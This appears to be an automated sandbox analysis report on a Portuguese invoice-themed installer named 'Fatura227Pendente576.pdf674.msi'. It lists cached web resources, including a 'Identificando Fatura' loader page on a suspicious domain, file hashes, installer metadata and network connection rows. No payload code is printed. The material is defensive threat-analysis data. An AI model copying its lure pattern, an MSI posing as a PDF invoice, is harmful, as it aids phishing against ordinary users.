Entropy (8bit):	4.434548132935983
Encrypted:	false
SSDEEP:	24:hPJCIZXCqWoHvp87aW4eChwIVf9ELTYMViCLQXQDBls3ASD7RRrHi5DmqvC+8rMf:tpvFiO7J5gLIXQDw3f/H5qv0Qf
MD5:	6E461102C8F053DBBFEC9A18B08615E3
SHA1:	1DC6F887712D11A2AEDCC910003A023B25739D9E
SHA-256:	010A57AF9C1EA1B69E03194EF711BB05CD6836DAF9E79291F02CF6C33FA53197
SHA-512:	40F78C56E3B60D7109A203C3601C9BD5658BD219042A19665BA7E3B40533807B6814A2209919AF8561FEF284AFDB0A03422E771D3BC5CFB6D20B1B651FBFE067
Malicious:	false
URL:	https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html
Preview:	<!DOCTYPE html>..<html lang="pt-BR">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Identificando Fatura</title>.. <style>.. body {.. margin: 0;.. height: 100vh;.. display: flex;.. flex-direction: column;.. justify-content: center;.. align-items: center;.. background-color: #f0f2f5;.. font-family: Arial, sans-serif;.. }.... .loader-container {.. text-align: center;.. }.... .loader {.. width: 60px;.. height: 60px;.. border: 5px solid #f3f3f3;.. border-top: 5px solid #3498db;.. border-radius: 50%;.. animation: spin 1s linear infinite;.. margin: 20px auto;.. }.... .timer {.. font-size: 24px;.. color: #333;.. margin: 20px 0;.. }.... .message {.

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4245)
Category:	downloaded
Size (bytes):	121769
Entropy (8bit):	5.4739773711708555
Encrypted:	false
SSDEEP:	1536:OYIcfKtW4VB4DUhcC8vnhKtntTCnXAmhdozsCb0YJr35ecMNiycRAD/lsJTD5qzR:dIyKGRKR6Q2XXYJrJTD5qWT88I
MD5:	A30AD4B824EABD49827717DA4DD32163
SHA1:	BE003CDBFD22A27CF8C7B5CD12267E1DDAC23120
SHA-256:	4BB8D199FC83D95CF64D3ECE1F6A53F27535B0F335471ED675C03B729A7BBF86
SHA-512:	A9A4A1C8E94C875E2E7BA5A9BE929B59568127F21ABB921EF2721BD84E6329EE50D7B2B19AA7394F961926B64627A0B3ED4044EDDAA93E4A77F6E8A26A185E12
Malicious:	false
URL:	https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js
Preview:	(function(){var m,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},t=ca(this),v=function(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.v("Symbol",function(a){if(a)return a;var b=function(g,f){this.$jscomp$symbol$id_=g;ba(this,"description",{configurable:!0,writable:!0,value:f})};b.prototype.toString=function(){return this.$jscomp$symbol$id_};var c="jscomp_symbol_"+(Math.random

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=wx94y5h4rp46
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.280394654123195
Encrypted:	false
SSDEEP:	3:WZoSISHmn:WZoSfmn
MD5:	4708D1B37F72B842EFE4238A9825064B
SHA1:	889321990FC6854DD351DF9DE8D41D2C9253BAF0
SHA-256:	10B772A54149F2086265D2CAF0C434B7CABE913BBE3665CB9DE5FAEC5EB2FB7F
SHA-512:	1285F4AEFE4F061D9D53FE96509AD93070843265C306123D197DF3603EEFF92FC6017019410015203B2DF139CC9594E387246D4211EADE320A7E77CCCA6EFDDA
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwncHhV_nsiGYRIFDZFhlU4SBQ0G7bv_?alt=proto
Preview:	ChIKBw2RYZVOGgAKBw0G7bv/GgA=

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2423
Entropy (8bit):	4.2947353168311695
Encrypted:	false
SSDEEP:	48:GDFHfyTY1jmTsA1qeHLyL3Pw+dlos8OFi7oFkRwpalKS8QX8B77a:GRHfyUdeHLyL3fWs8OaR74S
MD5:	50ABB5B38DDE52177C00A7553886359E
SHA1:	D1B8287F9D1BEEAA087A041FF24A51C7BDA6F763
SHA-256:	14EE7041CDCD47DB1DE6C6FB4224C01B7CC09DF5748908F434B46F533AE65D58
SHA-512:	9FFA22B5E39B911AB4EE2D46DD5D325CC5156C4BBBD52FABD5DB38ADEC332C9D13F3D93D824577478DAC915EB08E01FD1412156267BF6B29268F473F7E7B9666
Malicious:	false
URL:	https://blobcomments-pa.clients6.google.com/v1/metadata?docId=1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh&revisionId=0BzYJmw_fvN1BdFFTOHRUQ3FiajErdmo0L0pEbUdsNFRIdVJ3PQ&userLocale=en&timeZoneId=Etc%2FGMT%2B5&documentResourceKey.resourceKey&forceImportEnabled=true&key=AIzaSyCMp6sr4oTC18AWkE2Ii4UBZHTHEpGZWZM&%24unique=gc797
Preview:	{. "serializedDocosKeyData": "[null,null,0,null,null,null,null,1,[\"Anonymous\",null,\"//ssl.gstatic.com/docs/common/blue_silhouette96-0.png\",\"ANONYMOUS_105250506097979753968\",1,null,1,null,1],1,\"AAHRpnXvlMcbgtKvFRcBctnG4vde5KFytK3-nZ6-KFTvhJ3ptInXaU_N98OazeZ5MVaPkr_y5qS7OWCvJAnNtwkAAiT2-BTCOdw\",null,null,null,null,null,1,null,null,1,null,null,null,null,1,0,null,null,null,0,null,null,0,null,null,null,null,1,0,null,null,null,null,[\"tf\",60000,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,0,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,0,null,null,null,1,null,null,null,null,null,null,0,null,null,\"\",null,0,null,null,null,null,0],[[5703839,5704621,5704745,5705891,5707899,5711538,5712270,5712639,5712647,5713195,5714051,5737800,5792878,5799034,48966262,49375342,49472091,49622751,49623141,49643716,49643963,49769385,49822889,49823

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	671
Entropy (8bit):	4.971968787420344
Encrypted:	false
SSDEEP:	12:UJO694211FfgsO6ZRoT6pWiIKhhxkmgs6ZmOHc9n+5cMK00k14enEPCedG:G9JFfbOYssNVkmbYmOOk4TfenEPCD
MD5:	200544343AC58000DD445A295F748A8E
SHA1:	70F740C6752C4DE850A5482053CA052F3F68B295
SHA-256:	F57F59415E41576EDD75269D3DA0D9F6B648C86B072AB4BFBA64F3F3C2F5A16D
SHA-512:	AA34DCB2556E69A6C25D6732E8FAF2BE7F54E0AADC305CCBE4B3C3A4C11BE60DA0ABC02EF2A8173507F15C2CB4D356B3A9EFE010095EB5EEE0C880E1B924EF24
Malicious:	false
URL:	https://fonts.googleapis.com/css2?family=Google+Material+Icons:wght@400;500;700
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ fallback */.@font-face {. font-family: 'Google Material Icons';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlematerialicons/v143/Gw6kwdfw6UnXLJCcmafZyFRXb3BL9rvi0QZG3Q.woff2) format('woff2');.}...google-material-icons {. font-family: 'Google Material Icons';. font-weight: normal;. font-style: normal;. font-size: 24px;. line-height: 1;. letter-spacing: normal;. text-transform: none;. display: inline-block;. white-space: nowrap;. word-wrap: normal;. direction: ltr;. -webkit-font-feature-settings: 'liga';. -webkit-font-smoothing: antialiased;.}.

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (545)
Category:	downloaded
Size (bytes):	2284506
Entropy (8bit):	5.656707821328836
Encrypted:	false
SSDEEP:	24576:oYkFyC9qpO1CrZsYqMScg7AZYszWOqdf+:oYuyCT1CrKYqMSclZYsKdm
MD5:	9E0542C55A1732A45A424885BE756154
SHA1:	D76FDC120E7EB6778298DFB666906C956B4F13E0
SHA-256:	3AD57C0FF005359BA10CF6129D9FA94BEA9E57A8CD9E04E07C13FC747111FAC8
SHA-512:	A146D8A3E3DF654112D0BFD2A2DFDE5D5ABDC279D24B3D8ED70DE6B9EB7D772D79C9A91C2DC559133B613815AD8903DD7546B0B2F17243D20DE8C2A1EA52412B
Malicious:	false
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=1/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=v,wb"
Preview:	try{.var _F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};_F_toggles_initialize([0x1830, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././... Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors. Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at. http://www.apache.org/licenses/LICENSE-2.0. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License.././. SPDX-License-Identifier: Apache-2.0././*.

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:P:P
MD5:	8A80554C91D9FCA8ACB82F023DE02F11
SHA1:	5F36B2EA290645EE34D943220A14B54EE5EA5BE5
SHA-256:	CA3D163BAB055381827226140568F3BEF7EAAC187CEBD76878E0B63E9E442356
SHA-512:	CA4B6DEFB8ADCC010050BC8B1BB8F8092C4928B8A0FBA32146ABCFB256E4D91672F88CA2CDF6210E754E5B8AC5E23FB023806CCD749AC8B701F79A691F03C87A
Malicious:	false
URL:	https://blobcomments-pa.clients6.google.com/v1/pdfFields?docId=1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh&key=AIzaSyCMp6sr4oTC18AWkE2Ii4UBZHTHEpGZWZM&%24unique=gc797
Preview:	{}.

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	382
Entropy (8bit):	5.336582443529629
Encrypted:	false
SSDEEP:	6:hxuJLzLMb038GNncy37fVBeQDXY2F6YkAbvOm/esHeONncvV4Nhdx434QL:hYA0Nn979hLFBkAb2m/esHLn+4Nbx4IA
MD5:	361922F455F5E4FB6A03308A6AEBECF0
SHA1:	029B461EC3CE695111DECF36B87C3CC3AC7B285E
SHA-256:	80D1449914A4717C7ABF5B5B4BCEA920E43FFFBCF51697526D403F1853612883
SHA-512:	9D11D713DCF0DA739676A7D6A59433836FE83A7E09523A5F04457A000ACE05F2411BD40F0FBB8B4A2A95FFD3E8AE478D7C9D33B40F3F214580DC56F035458DBD
Malicious:	false
URL:	https://content.googleapis.com/static/proxy.html?usegapi=1&jsh=m%3B%2F_%2Fscs%2Fabc-static%2F_%2Fjs%2Fk%3Dgapi.gapi.en.ZpMpph_5a4M.O%2Fd%3D1%2Frs%3DAHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ%2Fm%3D__features__
Preview:	<!DOCTYPE html>.<html>.<head>.<title></title>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />.<script nonce="2mzvUxNOkjEcmcf6kiAyzQ">. window['startup'] = function() {. googleapis.server.init();. };.</script>.<script src="https://apis.google.com/js/googleapis.proxy.js?onload=startup" async defer nonce="2mzvUxNOkjEcmcf6kiAyzQ"></script>.</head>.<body>.</body>.</html>.

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	121112
Entropy (8bit):	5.837130305275228
Encrypted:	false
SSDEEP:	3072:kyW/Za21hsq1xCLqrQcS8xriAX7E1fbaRrcjSbPxtKDY/Ji/JPvhv:kyWhvHCLqEcS8xOAX7E1f2BPM
MD5:	EAAA71ED8F32B85F24FD3EBC43535BCC
SHA1:	CFFB0A1096D61DC0BA476D19381806BEC8264EF4
SHA-256:	AF2F1227E6BE9926C8A5E9FC5FCE394C150E19412248A3C8F9BC65076E3AECBB
SHA-512:	F178343DFD51C11A326D2322830436188122A3F56BF964C8075291F0D41489048735A356A605579F28B7DA67FFFDB87C2D390D82CE8AB61A54A907AD02CE49C2
Malicious:	false
URL:	https://ssl.gstatic.com/docs/common/viewer/v3/v-sprite60.svg
Preview:	<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0" y="0" width="31px" height="4060px" viewBox="0 0 31 4060" preserveAspectRatio="none"><g transform="translate(0,2170)"><path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,2428)"><path fill="#C4C7C5" d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,3396)"><path d="M17.705 10.1401L14.3 4H9.70001L3.60001 15L5.70001 19H13.8027C14.2671 19.8028 14.9121 20.488 15.6822 21H5.70001C5.00001 21 4.30001 20.6 3.90001 19.9L1.80001 15.9C1.50001 15.3 1.50001 14.6 1.80001 14L8.00001 3C8.30001 2.4 9.00001 2 9.70001 2H14.3C15 2 15.7 2.4 16.1 3L20.0307 10.0882C19.6959 10

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1395)
Category:	downloaded
Size (bytes):	117446
Entropy (8bit):	5.490775275046353
Encrypted:	false
SSDEEP:	3072:T2yvefrtJUEgK3Cvw3wWs/ZuTZVL/G1kL:T2y4tJbDK0L/G1kL
MD5:	942EA4F96889BAE7D3C59C0724AB2208
SHA1:	033DDF473319500621D8EBB6961C4278E27222A7
SHA-256:	F59F7F32422E311462A6A6307D90CA75FE87FA11E6D481534A6F28BFCCF63B03
SHA-512:	C3F27662D08AA00ECBC910C39F6429C2F4CBC7CB5FC9083F63390047BACAF8CD7A83C3D6BBE7718F699DAE2ADA486F9E0CAED59BC3043491EECD9734EC32D92F
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.47887345911425
Encrypted:	false
SSDEEP:	3:pPX38/ZoSISHN87lSNDr1d:pPn8/ZoSfN87lSBBd
MD5:	844E7AD848816441E2F3D9E9D6E63047
SHA1:	D30409FA96F74212C26ABAEB5DE8D2857246EBA8
SHA-256:	963371AAD7DF37F73FC1DE7742D11DF335B339721B2C3308DA44188594F27F4B
SHA-512:	33C66E4109D085D6481F33744520A461FA8819852975A23EF7297B772D9AFB506A855FC738935DAD8FD1D6CBAD2F0BFEE88183AEA3A87F5276E34DCE41FEC9DB
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQm4AQ_njqwvuhIFDZFhlU4SBQ0G7bv_EgUNkWGVThIFDQbtu_8=?alt=proto
Preview:	CjAKBw2RYZVOGgAKBw0G7bv/GgAKDQ2RYZVOGgQIVhgCIAEKDQ0G7bv/GgQIVhgCIAE=

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	3056758
Entropy (8bit):	5.639345706184629
Encrypted:	false
SSDEEP:	24576:ECeBZ7KPOoNdMiKjTNbCvH9t+DgCb3XjuZSHfy:kBZ7KPOoNWi+oH9t+DgCb3XCg6
MD5:	96C559D06808C24580321B3CB8D53BBF
SHA1:	1B364E92AF60607E1B4205ED270D38929D2EAAFC
SHA-256:	6F9AC1ED6E7BB0732DCDA2D2DB918AE358E8BA22C1CB7AF6ED6903D51824DDB5
SHA-512:	B8B9941C54B886CA2CE88B6814407E0B56B6655A7DA7FA8A737397C27CB32DEC4E65B38158AA582B25A2C4EDB6EF87A6DCA43C5C0E53FA08F52205D3974CBB3D
Malicious:	false
URL:	https://www.gstatic.com/_/apps-fileview/_/ss/k=apps-fileview.v.ovqSItYnX0g.L.W.O/am=MBg/d=0/rs=AO0039tz5VrQ5sjGTSjn86HXfczh2ZNxIg
Preview:	.Fng7d{width:100%;border-radius:50%}.TW497b{height:56px}.TW497b.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend{height:72px}.mVuend.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend .W7g1Rb-rymPhb-Gtdoyb{gap:8px}.OiePBf-zPjgPe{display:var(--gm3-focus-ring-outward-display,none);pointer-events:none;position:absolute;z-index:1;border-start-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-start-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));inset:calc(var(--gm3-focus-ring-outward-offset, 2px)*-1);box-shadow:0 0 0 va

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HKmn:qmn
MD5:	EC331136E75314D2030EE013B6069921
SHA1:	6B7428B8B15616A67F767D42964AF94FCBE2A803
SHA-256:	A7358DF6B7B60280F2A0D7CD5B70A9F1DFA4FCE5C31FB1A24FB2F109AF7EE977
SHA-512:	30C9B411C937F7D3DE9E59D8BE1CDE4F262B05C6AC2EC2D2C1956E705FE255D84DE17913826A0378B7FD4E51E075EE72A6BF16B870BF78B83D4F1D4507A44278
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmlNHcUu78_khIFDQbtu_8=?alt=proto
Preview:	CgkKBw0G7bv/GgA=

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4434)
Category:	downloaded
Size (bytes):	74412
Entropy (8bit):	5.584975491478061
Encrypted:	false
SSDEEP:	1536:ON+4tY0S2yvGnf4vA6s/RXHUJGokpuv+S9cOTm7IWOByK:T2yvefHfotP9ti7IyK
MD5:	604305B4C6768309AFD161FB4765ED1D
SHA1:	8BA0E9078CDD729A55C99B8C81EFB10C77B0C7A4
SHA-256:	10F2C1A783A6BCA723B2E7F96579FDED43E7CF14A032CC593E67AFCE3AE458FA
SHA-512:	9F8A6218A096397C5E379C6A31A580FD598E59EA291A283BC64AD4C2B83B60D0CEE74643DB0279AFBBC77C8FB8EEB7E9DFDBA6A02DA344806FA6AAA21FFFD3DD
Malicious:	false
URL:	https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0?le=scs
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Title: Installation Database, Keywords: Installer, MSI, Database, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Dec 11 11:47:44 2009, Number of Pages: 200, Security: 0, Code page: 1252, Revision Number: {D73B406C-DCB8-4CFF-B5DD-A47A6ADEF626}, Number of Words: 2, Subject: Fatura, Author: Fatura, Name of Creating Application: Advanced Installer 12.3.1 build 64990, Template: ;2057, Comments: This installer database contains the logic and data required to install Fatura.
Entropy (8bit):	6.642797187523302
TrID:	Windows SDK Setup Transform Script (63028/2) 47.91% Microsoft Windows Installer (60509/1) 46.00% Generic OLE2 / Multistream Compound File (8008/1) 6.09%
File name:	Fatura227Pendente576.pdf674.msi
File size:	615'936 bytes
MD5:	bf51cb1493b515a20316ea9efe033f43
SHA1:	c3b69212ad045089cb75d6f8385dd16df2b17ef8
SHA256:	a49b22353cf3d948186a5b790c37ac69f6cebe94308f4cc8b17ad87a4e8d21bd
SHA512:	d5246fdf440c9ea4146399a6269b17835dd4bce10b97bfff97a676bf95de37029644d48f00d356198846c90fb62d2cd36543efbcc849adabc45d6570d7027b90
SSDEEP:	12288:258hSHA4YATqp4n/DeT9NzecnIYUcEEv3:258hSHA4YLp4/DeT9N2YUcEEv
TLSH:	43D4AF0373C1C636D5EB02315A5B93618ABAFC708632811B77DD661E2FB2682E3673D5
File Content Preview:	........................>.......................................................s...............................y..............................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2024 08:40:02.585349083 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:02.585392952 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:02.585469961 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:02.595262051 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:02.595302105 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:02.631851912 CET	49675	443	192.168.2.4	173.222.162.32
Dec 21, 2024 08:40:04.184206963 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:04.184293032 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:04.184322119 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:04.184372902 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:04.190251112 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:04.190258980 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:04.190685034 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:04.215282917 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:04.255346060 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:04.863084078 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:04.863151073 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:04.863198042 CET	443	49730	185.15.58.240	192.168.2.4
Dec 21, 2024 08:40:04.863363981 CET	49730	443	192.168.2.4	185.15.58.240
Dec 21, 2024 08:40:04.863363981 CET	49730	443	192.168.2.4	185.15.58.240
